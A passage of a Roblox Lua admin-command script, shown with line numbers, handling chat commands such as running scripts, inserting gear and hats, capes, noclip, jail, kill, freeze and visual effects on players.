local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
457
table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
458
else loadstring(msg:sub(3))()
459
end
460
end))
461
end
462
463
if msg:lower():sub(1,3) == "ls " then
464
coroutine.resume(coroutine.create(function()
465
if script:findFirstChild("LocalScriptBase") then
466
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
467
table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
468
end
469
end))
470
end
471
472
if msg:lower():sub(1,6) == "lsplr " then
473
local chk1 = msg:lower():sub(7):find(" ") + 6
474
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
475
for i, v in pairs(plrz) do
476
coroutine.resume(coroutine.create(function()
477
if v and v:findFirstChild("PlayerGui") then
478
if script:findFirstChild("LocalScriptBase") then
479
local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
480
table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
481
end
482
end
483
end))
484
end
485
end
486
487
if msg:lower():sub(1,4) == "ins " then
488
coroutine.resume(coroutine.create(function()
489
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
490
if obj and #obj:children() >= 1 and plr.Character then
491
table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
492
end
493
end))
494
end
495
496
if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
497
for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
498
RemoveMessage()
499
objects = {}
500
end
501
502
if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
503
game.Lighting.Ambient = origsettings.abt
504
game.Lighting.Brightness = origsettings.brt
505
game.Lighting.TimeOfDay = origsettings.time
506
game.Lighting.FogColor = origsettings.fclr
507
game.Lighting.FogEnd = origsettings.fe
508
game.Lighting.FogStart = origsettings.fs
509
for i, v in pairs(lobjs) do v:Destroy() end
510
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
511
end
512
513
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
514
coroutine.resume(coroutine.create(function()
515
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
516
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
517
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
518
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
519
end))
520
end
521
522
if msg:lower():sub(1,10) == "countdown " then
523
local num = math.min(tonumber(msg:sub(11)),120)
524
for i = num, 1, -1 do
525
coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
526
wait(1)
527
end
528
end
529
530
if msg:lower():sub(1,3) == "tm " then
531
local chk1 = msg:lower():sub(4):find(" ") + 3
532
local num = tonumber(msg:sub(4,chk1-1))
533
Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
534
end
535
536
if msg:lower():sub(1,2) == "m " then
537
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
538
end
539
540
if msg:lower():sub(1,2) == "h " then
541
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
542
end
543
544
if msg:lower():sub(1,3) == "pm " then
545
local chk1 = msg:lower():sub(4):find(" ") + 3
546
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
547
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
548
end
549
550
if msg:lower():sub(1,11) == "resetstats " then
551
local plrz = GetPlr(plr, msg:lower():sub(12))
552
for i, v in pairs(plrz) do
553
coroutine.resume(coroutine.create(function()
554
if v and v:findFirstChild("leaderstats") then
555
for a, q in pairs(v.leaderstats:children()) do
556
if q:IsA("IntValue") then q.Value = 0 end
557
end
558
end
559
end))
560
end
561
end
562
563
if msg:lower():sub(1,5) == "gear " then
564
local chk1 = msg:lower():sub(6):find(" ") + 5
565
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
566
for i, v in pairs(plrz) do
567
coroutine.resume(coroutine.create(function()
568
if v and v:findFirstChild("Backpack") then
569
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
570
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
571
obj:Destroy()
572
end
573
end))
574
end
575
end
576
577
if msg:lower():sub(1,4) == "hat " then
578
local chk1 = msg:lower():sub(5):find(" ") + 4
579
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
580
for i, v in pairs(plrz) do
581
coroutine.resume(coroutine.create(function()
582
if v and v.Character then
583
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
584
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
585
obj:Destroy()
586
end
587
end))
588
end
589
end
590
591
if msg:lower():sub(1,5) == "cape " then
592
local chk1 = msg:lower():sub(6):find(" ")
593
local plrz = GetPlr(plr, msg:lower():sub(6))
594
local str = "torso.BrickColor"
595
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
596
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
597
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
598
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
599
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
600
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
601
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
602
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
603
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
604
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
605
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
606
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
607
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
608
if BrickColor.new(teststr) ~= nil then str = teststr end
609
end
610
for i, v in pairs(plrz) do
611
coroutine.resume(coroutine.create(function()
612
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
613
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
614
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
615
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
616
local torso = plr.Character.Torso
617
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
618
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
619
p.Size = Vector3.new(.2,.2,.2)
620
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
621
local motor1 = Instance.new("Motor", p)
622
motor1.Part0 = p
623
motor1.Part1 = torso
624
motor1.MaxVelocity = .01
625
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
626
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
627
local wave = false
628
repeat wait(1/44)
629
local ang = 0.1
630
local oldmag = torso.Velocity.magnitude
631
local mv = .002
632
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
633
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
634
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
635
motor1.DesiredAngle = -ang
636
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
637
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
638
if torso.Velocity.magnitude < .1 then wait(.1) end
639
until not p or p.Parent ~= torso.Parent
640
script:Destroy()
641
]] cl.Parent = v.PlayerGui cl.Disabled = false
642
end
643
end))
644
end
645
end
646
647
if msg:lower():sub(1,7) == "uncape " then
648
local plrz = GetPlr(plr, msg:lower():sub(8))
649
for i, v in pairs(plrz) do
650
coroutine.resume(coroutine.create(function()
651
if v and v:findFirstChild("PlayerGui") and v.Character then
652
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
653
end
654
end))
655
end
656
end
657
658
if msg:lower():sub(1,7) == "noclip " then
659
local plrz = GetPlr(plr, msg:lower():sub(8))
660
for i, v in pairs(plrz) do
661
coroutine.resume(coroutine.create(function()
662
if v and v:findFirstChild("PlayerGui") then
663
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
664
cl.Parent = v.PlayerGui cl.Disabled = false
665
end
666
end))
667
end
668
end
669
670
if msg:lower():sub(1,5) == "clip " then
671
local plrz = GetPlr(plr, msg:lower():sub(6))
672
for i, v in pairs(plrz) do
673
coroutine.resume(coroutine.create(function()
674
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
675
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
676
v.Character.Torso.Anchored = false
677
wait(.1) v.Character.Humanoid.PlatformStand = false
678
end
679
end))
680
end
681
end
682
683
if msg:lower():sub(1,5) == "jail " then
684
local plrz = GetPlr(plr, msg:lower():sub(6))
685
for i, v in pairs(plrz) do
686
coroutine.resume(coroutine.create(function()
687
if v and v.Character and v.Character:findFirstChild("Torso") then 
688
local vname = v.Name
689
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
690
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
691
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
692
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
693
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
694
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
695
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
696
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
697
end)
698
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
699
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
700
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
701
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
702
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
703
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
704
local msh2 = msh:Clone() msh2.Parent = back
705
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
706
local msh4 = msh3:Clone() msh4.Parent = left
707
v.Character.Torso.CFrame = cf
708
end
709
end))
710
end
711
end
712
713
if msg:lower():sub(1,7) == "unjail " then
714
local plrz = GetPlr(plr, msg:lower():sub(8))
715
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
716
end
717
718
if msg:lower():sub(1,11) == "starttools " then
719
local plrz = GetPlr(plr, msg:lower():sub(12))
720
for i, v in pairs(plrz) do
721
coroutine.resume(coroutine.create(function()
722
if v and v:findFirstChild("Backpack") then
723
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
724
end
725
end))
726
end
727
end
728
729
if msg:lower():sub(1,6) == "sword " then
730
local plrz = GetPlr(plr, msg:lower():sub(7))
731
for i, v in pairs(plrz) do
732
coroutine.resume(coroutine.create(function()
733
if v and v:findFirstChild("Backpack") then
734
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
735
sword.GripForward = Vector3.new(-1,0,0)
736
sword.GripPos = Vector3.new(0,0,-1.5)
737
sword.GripRight = Vector3.new(0,1,0)
738
sword.GripUp = Vector3.new(0,0,1)
739
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
740
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
741
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
742
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
743
local Damage = 15
744
local SlashSound = Instance.new("Sound", script.Parent.Handle)
745
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
746
SlashSound.Volume = 1
747
local LungeSound = Instance.new("Sound", script.Parent.Handle)
748
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
749
LungeSound.Volume = 1
750
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
751
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
752
UnsheathSound.Volume = 1
753
local last = 0
754
script.Parent.Handle.Touched:connect(function(hit)
755
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
756
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
757
hit.Parent.Humanoid:TakeDamage(Damage)
758
end
759
end)
760
script.Parent.Activated:connect(function()
761
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
762
script.Parent.Enabled = false
763
local tick = game:service("RunService").Stepped:wait()
764
if tick - last <= .2 then
765
LungeSound:play()
766
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
767
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
768
wait(.2)
769
script.Parent.GripForward = Vector3.new(0,0,1)
770
script.Parent.GripRight = Vector3.new(0,-1,0)
771
script.Parent.GripUp = Vector3.new(-1,0,0)
772
wait(.3)
773
frc:Destroy() wait(.5)
774
script.Parent.GripForward = Vector3.new(-1,0,0)
775
script.Parent.GripRight = Vector3.new(0,1,0)
776
script.Parent.GripUp = Vector3.new(0,0,1)
777
else
778
SlashSound:play()
779
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
780
end
781
last = tick
782
script.Parent.Enabled = true
783
end)
784
script.Parent.Equipped:connect(function(mouse)
785
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
786
UnsheathSound:play()
787
script.Parent.Enabled = true
788
if not mouse then return end
789
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
790
end)]] cl.Disabled = false 
791
end
792
end))
793
end
794
end
795
796
if msg:lower():sub(1,6) == "clone " then
797
local plrz = GetPlr(plr, msg:lower():sub(7))
798
for i, v in pairs(plrz) do
799
coroutine.resume(coroutine.create(function()
800
if v and v.Character then 
801
v.Character.Archivable = true 
802
local cl = v.Character:Clone() 
803
table.insert(objects,cl) 
804
cl.Parent = game.Workspace 
805
cl:MoveTo(v.Character:GetModelCFrame().p)
806
cl:MakeJoints()
807
v.Character.Archivable = false 
808
end
809
end))
810
end
811
end
812
813
if msg:lower():sub(1,8) == "control " then
814
local plrz = GetPlr(plr, msg:lower():sub(9))
815
for i, v in pairs(plrz) do
816
coroutine.resume(coroutine.create(function()
817
if v and v.Character then
818
v.Character.Humanoid.PlatformStand = true
819
local w = Instance.new("Weld", plr.Character.Torso ) 
820
w.Part0 = plr.Character.Torso 
821
w.Part1 = v.Character.Torso  
822
local w2 = Instance.new("Weld", plr.Character.Head) 
823
w2.Part0 = plr.Character.Head 
824
w2.Part1 = v.Character.Head  
825
local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm")) 
826
w3.Part0 = plr.Character:findFirstChild("Right Arm")
827
w3.Part1 = v.Character:findFirstChild("Right Arm") 
828
local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
829
w4.Part0 = plr.Character:findFirstChild("Left Arm")
830
w4.Part1 = v.Character:findFirstChild("Left Arm") 
831
local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg")) 
832
w5.Part0 = plr.Character:findFirstChild("Right Leg")
833
w5.Part1 = v.Character:findFirstChild("Right Leg") 
834
local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg")) 
835
w6.Part0 = plr.Character:findFirstChild("Left Leg")
836
w6.Part1 = v.Character:findFirstChild("Left Leg") 
837
plr.Character.Head.face:Destroy()
838
for i, p in pairs(v.Character:children()) do
839
if p:IsA("BasePart") then 
840
p.CanCollide = false
841
end
842
end
843
for i, p in pairs(plr.Character:children()) do
844
if p:IsA("BasePart") then 
845
p.Transparency = 1 
846
elseif p:IsA("Hat") then
847
p:Destroy()
848
end
849
end
850
v.Character.Parent = plr.Character
851
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
852
end
853
end))
854
end
855
end
856
857
if msg:lower():sub(1,5) == "kill " then
858
local plrz = GetPlr(plr, msg:lower():sub(6))
859
for i, v in pairs(plrz) do
860
coroutine.resume(coroutine.create(function()
861
if v and v.Character then v.Character:BreakJoints() end
862
end))
863
end
864
end
865
866
if msg:lower():sub(1,8) == "respawn " then
867
local plrz = GetPlr(plr, msg:lower():sub(9))
868
for i, v in pairs(plrz) do
869
coroutine.resume(coroutine.create(function()
870
if v and v.Character then v:LoadCharacter() end
871
end))
872
end
873
end
874
875
if msg:lower():sub(1,5) == "trip " then
876
local plrz = GetPlr(plr, msg:lower():sub(6))
877
for i, v in pairs(plrz) do
878
coroutine.resume(coroutine.create(function()
879
if v and v.Character and v.Character:findFirstChild("Torso") then 
880
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
881
end
882
end))
883
end
884
end
885
886
if msg:lower():sub(1,5) == "stun " then
887
local plrz = GetPlr(plr, msg:lower():sub(6))
888
for i, v in pairs(plrz) do
889
coroutine.resume(coroutine.create(function()
890
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
891
v.Character.Humanoid.PlatformStand = true
892
end
893
end))
894
end
895
end
896
897
if msg:lower():sub(1,7) == "unstun " then
898
local plrz = GetPlr(plr, msg:lower():sub(8))
899
for i, v in pairs(plrz) do
900
coroutine.resume(coroutine.create(function()
901
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
902
v.Character.Humanoid.PlatformStand = false
903
end
904
end))
905
end
906
end
907
908
if msg:lower():sub(1,5) == "jump " then
909
local plrz = GetPlr(plr, msg:lower():sub(6))
910
for i, v in pairs(plrz) do
911
coroutine.resume(coroutine.create(function()
912
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
913
v.Character.Humanoid.Jump = true
914
end
915
end))
916
end
917
end
918
919
if msg:lower():sub(1,4) == "sit " then
920
local plrz = GetPlr(plr, msg:lower():sub(5))
921
for i, v in pairs(plrz) do
922
coroutine.resume(coroutine.create(function()
923
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
924
v.Character.Humanoid.Sit = true
925
end
926
end))
927
end
928
end
929
930
if msg:lower():sub(1,10) == "invisible " then
931
local plrz = GetPlr(plr, msg:lower():sub(11))
932
for i, v in pairs(plrz) do
933
coroutine.resume(coroutine.create(function()
934
if v and v.Character then 
935
for a, obj in pairs(v.Character:children()) do 
936
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
937
end
938
end
939
end))
940
end
941
end
942
943
if msg:lower():sub(1,8) == "visible " then
944
local plrz = GetPlr(plr, msg:lower():sub(9))
945
for i, v in pairs(plrz) do
946
coroutine.resume(coroutine.create(function()
947
if v and v.Character then 
948
for a, obj in pairs(v.Character:children()) do 
949
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
950
end
951
end
952
end))
953
end
954
end
955
956
if msg:lower():sub(1,5) == "lock " then
957
local plrz = GetPlr(plr, msg:lower():sub(6))
958
for i, v in pairs(plrz) do
959
coroutine.resume(coroutine.create(function()
960
if v and v.Character then 
961
for a, obj in pairs(v.Character:children()) do 
962
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
963
end
964
end
965
end))
966
end
967
end
968
969
if msg:lower():sub(1,7) == "unlock " then
970
local plrz = GetPlr(plr, msg:lower():sub(8))
971
for i, v in pairs(plrz) do
972
coroutine.resume(coroutine.create(function()
973
if v and v.Character then 
974
for a, obj in pairs(v.Character:children()) do 
975
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
976
end
977
end
978
end))
979
end
980
end
981
982
if msg:lower():sub(1,8) == "explode " then
983
local plrz = GetPlr(plr, msg:lower():sub(9))
984
for i, v in pairs(plrz) do
985
coroutine.resume(coroutine.create(function()
986
if v and v.Character and v.Character:findFirstChild("Torso") then 
987
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
988
end
989
end))
990
end
991
end
992
993
if msg:lower():sub(1,4) == "age " then
994
local plrz = GetPlr(plr, msg:lower():sub(5))
995
for i, v in pairs(plrz) do
996
coroutine.resume(coroutine.create(function()
997
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
998
end))
999
end
1000
end
1001
1002
if msg:lower():sub(1,5) == "fire " then
1003
local plrz = GetPlr(plr, msg:lower():sub(6))
1004
for i, v in pairs(plrz) do
1005
coroutine.resume(coroutine.create(function()
1006
if v and v.Character and v.Character:findFirstChild("Torso") then 
1007
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
1008
end
1009
end))
1010
end
1011
end
1012
1013
if msg:lower():sub(1,7) == "unfire " then
1014
local plrz = GetPlr(plr, msg:lower():sub(8))
1015
for i, v in pairs(plrz) do
1016
coroutine.resume(coroutine.create(function()
1017
if v and v.Character and v.Character:findFirstChild("Torso") then 
1018
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
1019
end
1020
end))
1021
end
1022
end
1023
1024
if msg:lower():sub(1,6) == "smoke " then
1025
local plrz = GetPlr(plr, msg:lower():sub(7))
1026
for i, v in pairs(plrz) do
1027
coroutine.resume(coroutine.create(function()
1028
if v and v.Character and v.Character:findFirstChild("Torso") then 
1029
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
1030
end
1031
end))
1032
end
1033
end
1034
1035
if msg:lower():sub(1,8) == "unsmoke " then
1036
local plrz = GetPlr(plr, msg:lower():sub(9))
1037
for i, v in pairs(plrz) do
1038
coroutine.resume(coroutine.create(function()
1039
if v and v.Character and v.Character:findFirstChild("Torso") then 
1040
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
1041
end
1042
end))
1043
end
1044
end
1045
1046
if msg:lower():sub(1,9) == "sparkles " then
1047
local plrz = GetPlr(plr, msg:lower():sub(10))
1048
for i, v in pairs(plrz) do
1049
coroutine.resume(coroutine.create(function()
1050
if v and v.Character and v.Character:findFirstChild("Torso") then 
1051
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
1052
end
1053
end))
1054
end
1055
end
1056
1057
if msg:lower():sub(1,11) == "unsparkles " then
1058
local plrz = GetPlr(plr, msg:lower():sub(12))
1059
for i, v in pairs(plrz) do
1060
coroutine.resume(coroutine.create(function()
1061
if v and v.Character and v.Character:findFirstChild("Torso") then 
1062
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
1063
end
1064
end))
1065
end
1066
end
1067
1068
if msg:lower():sub(1,3) == "ff " then
1069
local plrz = GetPlr(plr, msg:lower():sub(4))
1070
for i, v in pairs(plrz) do
1071
coroutine.resume(coroutine.create(function()
1072
if v and v.Character then Instance.new("ForceField", v.Character) end
1073
end))
1074
end
1075
end
1076
1077
if msg:lower():sub(1,5) == "unff " then
1078
local plrz = GetPlr(plr, msg:lower():sub(6))
1079
for i, v in pairs(plrz) do
1080
coroutine.resume(coroutine.create(function()
1081
if v and v.Character then 
1082
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
1083
end
1084
end))
1085
end
1086
end
1087
1088
if msg:lower():sub(1,7) == "punish " then
1089
local plrz = GetPlr(plr, msg:lower():sub(8))
1090
for i, v in pairs(plrz) do
1091
coroutine.resume(coroutine.create(function()
1092
if v and v.Character then 
1093
v.Character.Parent = game:service("Lighting")
1094
end
1095
end))
1096
end
1097
end
1098
1099
if msg:lower():sub(1,9) == "unpunish " then
1100
local plrz = GetPlr(plr, msg:lower():sub(10))
1101
for i, v in pairs(plrz) do
1102
coroutine.resume(coroutine.create(function()
1103
if v and v.Character then 
1104
v.Character.Parent = game:service("Workspace")
1105
v.Character:MakeJoints()
1106
end
1107
end))
1108
end
1109
end
1110
1111
if msg:lower():sub(1,7) == "freeze " then
1112
local plrz = GetPlr(plr, msg:lower():sub(8))
1113
for i, v in pairs(plrz) do
1114
coroutine.resume(coroutine.create(function()
1115
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1116
for a, obj in pairs(v.Character:children()) do 
1117
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
1118
end
1119
end
1120
end))
1121
end
1122
end
1123
1124
